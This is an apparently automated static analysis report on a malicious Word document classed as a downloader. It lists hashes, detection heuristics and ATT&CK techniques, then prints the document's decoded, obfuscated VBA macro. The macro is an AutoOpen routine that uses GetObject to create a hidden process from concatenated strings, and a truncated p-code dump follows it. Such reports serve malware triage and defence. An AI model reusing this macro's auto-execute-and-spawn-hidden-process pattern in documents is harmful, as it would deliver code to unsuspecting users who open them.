Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d8b58f7a0298951e…

MALICIOUS

Office (OLE)

144.6 KB Created: 2019-03-20 20:39:00 Authoring application: Microsoft Office Word First seen: 2019-04-18
MD5: c4af36a19d46ee1bc3cc4bb7b402daa2 SHA-1: 40bdedb212a564c69fa563420f7a061f6d912256 SHA-256: d8b58f7a0298951ea482b26a302054ccd85179b3f34c3023f6481780dbb70295
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is identified as malicious by ClamAV with the signature Doc.Downloader.Sagent-6904393-0. High-severity heuristics indicate the presence of VBA macros, specifically an AutoOpen macro that uses GetObject, suggesting an attempt to execute code. The VBA script itself is heavily obfuscated but its structure and the presence of auto-execution markers strongly imply it's designed to download and execute a secondary payload, characteristic of a downloader malware.

Heuristics 7

  • ClamAV: Doc.Downloader.Sagent-6904393-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Sagent-6904393-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11633 bytes
SHA-256: fa6e453bd81435876a10c3b8787dbc589b7bb47fb87e22cc8d8aea006a3f803a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "iUCAZAC"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "KDUAAABU"
Attribute VB_Base = "0{D828A9C2-6855-4194-AF8E-C580C8FAFCFB}{9F05061C-A97D-4D02-83CB-C5E0B759E425}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "pAB4wQk"
Sub autoopen()
On Error Resume Next
   If tGCQB1 = v_AAQQDQ Then
      FAAAAAA = 717647646 * CInt(233297471) / _
658828767 + Sqr(207313192) * 745415091 / CInt(312963833) * (844548510 * 465056738)
      jZAwAB = (173316002 - Asc(YAUXAZwG) / MAAGABAA / 613300625 + _
pGwQ_x / Fix(195876274 + Log(CABGAU * Sgn(8622865) + kQAGGD1B / CSng(839957413))))
End If
   If ZGXUDAA = sx4UoBB Then
      WCAXAAk = 826349753 * CInt(520485790) / _
444846816 + Sqr(201627611) * 494557910 / CInt(810542288) * (770000877 * 651041284)
      bGA1AA = (607811369 - Asc(PCAAADB) / nA1DBBQ1 / 1749335 + _
CwC1BAXA / Fix(42706618 + Log(QBAAXZ * Sgn(896449898) + iUxoGA / CSng(160651301))))
End If
Set dAQAAAkk = GetObject(KDUAAABU.RAAwAUA)
   If iBxZAZ1Q = wBAAAkQ Then
      YAUADx = 721564642 * CInt(124795841) / _
170569118 + Sqr(603655858) * 119255611 / CInt(668239378) * (80036417 * 682567044)
      VcUAw44 = (66576522 - Asc(lB4xUDAw) / zwGZAD / 116988703 + _
kBokZAk / Fix(804695490 + Log(uAAXA1BQ * Sgn(152929563) + nBCcZXAw / CSng(495692849))))
End If
   If WxZAAZ = dkDZckXA Then
      PXAAAA = 823422638 * CInt(608060300) / _
935010364 + Sqr(433062525) * 819715303 / CInt(226955619) * (813395985 * 603633177)
      KDA4DAC = (545714479 - Asc(iUXoDG) / qk1Z44DA / 567750152 + _
S1QAAA / Fix(116103032 + Log(qAAXDkAU * Sgn(419386701) + HBAQ1A / CSng(702477642))))
End If
dAQAAAkk.ShowWindow = 624343 - 624343
   If IZUZA4 = jACBDkDc Then
      jAABCABc = 315002202 * CInt(17448769) / _
641727752 + Sqr(639634465) * 277225128 / CInt(636151779) * (108771433 * 227949140)
      X4A_DA = (169290908 - Asc(EA1A4AC) / lBBAGC1 / 557148344 + _
jA_ABkQA / Fix(547372725 + Log(GUA4AAxw * Sgn(51560902) + XGZcGA / CSng(918587398))))
End If
   If GXXABo = RADxAG Then
      jBAxQDo = 415029796 * CInt(458128909) / _
601151473 + Sqr(743114132) * 735950754 / CInt(541986983) * (985751184 * 859003777)
      LAxAXA = (941226414 - Asc(hAQAkwB) / HDoUxA / 760500975 + _
G_GDXw / Fix(877536082 + Log(ww_BoC_A * Sgn(808973140) + YQoxoU / CSng(76952230))))
End If
GetObject(KDUAAABU.zoAAGoAG). _
Create# jUDxA4G1 + KDUAAABU.AABZGAQ + c1DA1G + KDUAAABU.TAAUQX + zC4QoQ + KDUAAABU.IA4AcUQk + iAZ_AAx, rDBAAQ, dAQAAAkk, fZAACAXA
   If VQXc4B = N4cA1CwU Then
      iZ_AXUQ = 15510243 * CInt(610907503) / _
128885924 + Sqr(966049709) * 341295882 / CInt(333658196) * (855111941 * 446073890)
      KcXC4UAA = (814988864 - Asc(ZBA4ADAw) / SQwBwAxA / 254941050 + _
pwxUAB / Fix(962703864 + Log(FD1cQQ * Sgn(64483640) + NAXCABw / CSng(980357467))))
End If
   If iGA41A4Q = bDoBAD Then
      FG1DAD = 46651314 * CInt(799849451) / _
690851463 + Sqr(742936995) * 546528798 / CInt(327037674) * (590726028 * 656524057)
      i_AZxAU = (65743051 - Asc(r_4cUZU) / YU1wGQ_ / 632529619 + _
EQooAA / Fix(684949678 + Log(GCCAQB * Sgn(253356467) + jxx4Ak / CSng(707364670))))
End If
End Sub


' Processing file: /opt/analyzer/scan_staging/00e668d7278d4bca969e824a79888e0e.bin
' ===============================================================================
' Module streams:
' Macros/VBA/iUCAZAC - 1105 bytes
' Macros/VBA/KDUAAABU - 1158 bytes
' Macros/VBA/pAB4wQk - 5227 bytes
' Line #0:
' 	FuncDefn (Sub pAB4wQk())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	Ld autoopen 
' 	Ld tGCQB1 
' 	Eq 
' 	IfBlock 
' Line #3:
' 	LineCont 0x0004 09 00 00 00
' 	LitDI4 0x6F1E 0x2AC6 
' 	LitDI4 0xD63F 0x0DE7 
' 	Coerce (Int) 
' 	Mul 
' 	LitDI4 0x
... (truncated)